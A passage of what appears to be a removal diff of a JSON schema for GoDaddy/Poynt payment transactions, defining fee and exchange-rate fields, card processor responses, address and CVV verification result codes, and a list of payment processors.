- "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "This is a response field. The server time (in ISO-8601 format) at which this transaction was initially created. E.g. 2014-09-11T23:14:44Z." - }, - "exchangeRate": { - "type": "object", - "properties": { - "businessId": { - "type": "string" - }, - "cardAmount": { - "type": "integer", - "format": "int64" - }, - "cardCurrency": { - "type": "string", - "minLength": 3, - "maxLength": 3 - }, - "cardTipAmount": { - "type": "integer", - "format": "int64" - }, - "disclaimer": { - "type": "string" - }, - "markupInfo1": { - "type": "string" - }, - "markupInfo2": { - "type": "string" - }, - "markupPercentage": { - "type": "string" - }, - "provider": { - "type": "string" - }, - "rate": { - "type": "integer", - "format": "int64" - }, - "ratePrecision": { - "type": "integer", - "format": "int64" - }, - "requestedAt": { - "type": "string", - "format": "date-time" - }, - "signature": { - "type": "string" - }, - "tipAmount": { - "type": "integer", - "format": "int64" - }, - "txnAmount": { - "type": "integer", - "format": "int64" - }, - "txnCurrency": { - "type": "string", - "minLength": 3, - "maxLength": 3 - } - }, - "description": "Exchange rate used for this adjustment." - }, - "processorResponse": { - "description": "This object includes some important response elements received from the processor.", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Processor Response", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Debit Card Processor Response", - "description": "Processor response for debit card", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", 